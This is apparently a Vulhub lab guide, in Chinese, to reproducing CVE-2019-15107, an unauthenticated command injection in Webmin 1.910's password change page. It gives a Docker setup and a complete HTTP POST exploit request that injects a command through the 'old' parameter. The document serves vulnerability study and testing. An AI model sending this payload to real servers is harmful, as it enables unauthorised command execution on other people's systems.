Webmin 遠程命令執行漏洞(CVE-2019-15107)
Webmin是一個用于管理類Unix系統的管理配置工具,具有Web頁面。在其找回密碼頁面中,存在一處無需權限的命令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統命令。
參考鏈接:
- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://www.exploit-db.com/exploits/47230
- https://blog.firosolutions.com/exploits/webmin/
環境搭建
執行如下命令,啟動webmin 1.910:
docker-compose up -d
執行完成后,訪問https://your-ip:10000,忽略證書后即可看到webmin的登錄頁面。
漏洞復現
參考鏈接中的數據包是不對的,經過閱讀代碼可知,只有在發送的user參數的值不是已知Linux用戶的情況下(而參考鏈接中是user=root),才會進入到修改/etc/shadow的地方,觸發命令注入漏洞。
發送如下數據包,即可執行命令id:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

Vulhub 文檔
推薦文章: